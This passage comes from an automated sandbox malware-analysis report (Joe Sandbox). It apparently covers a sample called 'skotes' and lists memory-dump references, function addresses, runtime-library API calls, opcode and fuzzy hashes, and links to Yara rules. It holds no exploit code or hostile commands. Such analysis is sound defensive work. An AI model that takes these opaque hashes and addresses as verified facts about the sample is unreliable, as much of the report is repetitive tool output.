Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: Zb,mb
API String ID: 1423051803-2221940238
Opcode ID: a16333376a24443088a7ab94174d304db0f99c4c3296d1d0e84f523f5331dcca
Instruction ID: 8b8cd7f1041821e8374a9868f1834b63c3878d5dcb87a3c6576a8360fc87449f
Opcode Fuzzy Hash: a16333376a24443088a7ab94174d304db0f99c4c3296d1d0e84f523f5331dcca
Instruction Fuzzy Hash: CF51C172A00216ABDB259F64DC41EFBB7ABDF85750F154229FD04A7241EF30EC118AE4

Function 0061DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0061DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0061DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0061DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0061DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0061DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 0061DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0061DE74

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: ef7d9b5082b0dc659bb6a7403b2d68fd9f99e99dbccde68314ce1783030d5514
Instruction ID: a4a8bc0aec149a0c8f251349dc08cd02375edcf1bfae45f90a739e6269f9823f
Opcode Fuzzy Hash: ef7d9b5082b0dc659bb6a7403b2d68fd9f99e99dbccde68314ce1783030d5514
Instruction Fuzzy Hash: 24419D30A042449ADF98EFA484657ED7BA76F11304F1C44ADE9416F3C3CB359E89CB6A

Function 0061E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0061E7D7

Part of subcall function 0061E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0061E577
Part of subcall function 0061E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0061E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0061E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0061E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0061E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0061E879
Concurrency::location::_Assign.LIBCMT ref: 0061E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0061E8B5

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 49c2242e54ed22fd318e42ee88b115940517417a0593e172b4037f94053e0c80
Instruction ID: 319d74c19c999488c8856236cd37e5ee4107481da9bab4db57f8a4a963d7761d
Opcode Fuzzy Hash: 49c2242e54ed22fd318e42ee88b115940517417a0593e172b4037f94053e0c80
Instruction Fuzzy Hash: 34411879A002149FDB45EF64C495AEDB7B6FF48310F1880A9DD499B382DB70A981CB91

Function 00606E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00606ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00606F22
std::_Rethrow_future_exception.LIBCPMT ref: 00606F32
__Mtx_unlock.LIBCPMT ref: 00606FD5
__Mtx_unlock.LIBCPMT ref: 006070DB
__Mtx_unlock.LIBCPMT ref: 00607116

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 71b32854d49f307995d4538900e99f9746006b1c6b7e0dc8fbfbd75c1fd85e08
Instruction ID: b759aa7d73e52d0b41d7286f73cc48a5eef0dde26d650f317f9da622cb11f849
Opcode Fuzzy Hash: 71b32854d49f307995d4538900e99f9746006b1c6b7e0dc8fbfbd75c1fd85e08
Instruction Fuzzy Hash: 23C1D0B0D443099BDB28DFA4C845BAFBBB6EF05310F044A6DE816976D1EB35A904CB61

Function 006144DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00614538
ListArray.LIBCONCRT ref: 0061456C
Hash.LIBCMT ref: 006145D5
Hash.LIBCMT ref: 006145E5

Part of subcall function 00619C41: std::bad_exception::bad_exception.LIBCMT ref: 00619C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0061474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006147A4

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: ac30f913650ca7b14defadbe7108678e62192e7408bb6f1719986466bce17a54
Instruction ID: bec0d2c36027621d5ab893e9cbba8ffe045262966f8b9540981db816c39b790e
Opcode Fuzzy Hash: ac30f913650ca7b14defadbe7108678e62192e7408bb6f1719986466bce17a54
Instruction Fuzzy Hash: 95819EB0B11B12BAD758DF74C845BDAFAA9BF09700F14421EF42897281DBB4A664CBD0

Function 0060ECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0060ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0060ED17

Part of subcall function 0060F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0060F3FA

__alloca_probe_16.LIBCMT ref: 0060ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0060ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0060EDC6
__freea.LIBCMT ref: 0060EDEC

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
